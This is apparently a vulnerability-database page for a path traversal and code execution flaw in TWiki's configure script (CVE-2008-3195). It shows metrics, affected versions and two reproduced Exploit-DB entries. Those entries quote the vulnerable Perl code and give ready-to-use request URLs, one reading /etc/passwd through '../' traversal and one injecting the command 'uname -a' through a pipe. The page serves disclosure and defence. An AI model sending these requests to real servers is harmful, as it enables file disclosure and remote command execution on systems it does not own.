Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-22 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 6269
Publication date : 2008-08-18 22h00 +00:00
Author : Th1nk3r
EDB Verified : Yes
################################################################################################################
# #
# TWiki 4.2.0 File Disclosure Vuln (configure) #
# #
################################################################################################################
"We're brazilian newbies!!! :p" - Th1nk3r
Info
----------------------------------------------------------------------------------------------------------------
Classe : Input Validation Error
Remote : Yes
Local : No
Date : 05/08/2008
Credits : Th1nk3r (cnwfhguohrugbo / gmail.com)
Greetz : w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick.
Description
----------------------------------------------------------------------------------------------------------------
TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible
to exploit the bug if you can access the "/bin/configure" script.
Otherwise, you can not exploit this bug.
Vulnerable code of "/bin/configure" script:
if( $action eq 'image' ) {
# SMELL: this call is correct, but causes a perl error
# on some versions of CGI.pm
# print $query->header(-type => $query->param('type'));
# So use this instead:
print 'Content-type: '.$query->param('type')."\n\n";
if( open(F, 'logos/'.$query->param('image' ))) {
local $/ = undef;
print <F>;
close(F);
}
exit 0;
}
The bug is in the open() function. The file is set by visitor, and there is no protection added
by the programmer.
Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain".
Exploit
----------------------------------------------------------------------------------------------------------------
To exploit the bug, you just need set the "image" variable to the path of file you wish to view.
The file will be revealed if you have permission to view it.
By example, to show the "/etc/passwd" file content, go to :
http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain
Solution
----------------------------------------------------------------------------------------------------------------
Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for
more information of how to protect your "configure" script.
# milw0rm.com [2008-08-19]
Exploit Database EDB-ID : 6509
Publication date : 2008-09-20 22h00 +00:00
Author : webDEViL
EDB Verified : Yes
#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution <= 4.2.2--------------------#
# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s) : CVE-2008-3195--------------------------#
# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights
The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.
According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)
Vulnerable code:
if( $action eq 'image' ) {
# SMELL: this call is correct, but causes a perl error
# on some versions of CGI.pm
# print $query->header(-type => $query->param('type'));
# So use this instead:
print 'Content-type: '.$query->param('type')."\n\n";
if( open(F, 'logos/'.$query->param('image' ))) {
local $/ = undef;
print <F>;
close(F);
}
http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain
http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain
# milw0rm.com [2008-09-21]
Products Mentioned
Configuraton 0
Twiki>>Twiki >> Version To (including) 4.2.2
Twiki>>Twiki >> Version 4.0
Twiki>>Twiki >> Version 4.0.0
Twiki>>Twiki >> Version 4.0.1
Twiki>>Twiki >> Version 4.0.2
Twiki>>Twiki >> Version 4.0.3
Twiki>>Twiki >> Version 4.0.4
Twiki>>Twiki >> Version 4.0.5
Twiki>>Twiki >> Version 4.1.0
Twiki>>Twiki >> Version 4.1.1
Twiki>>Twiki >> Version 4.1.2
Twiki>>Twiki >> Version 4.2.0
Twiki>>Twiki >> Version 4.2.1
References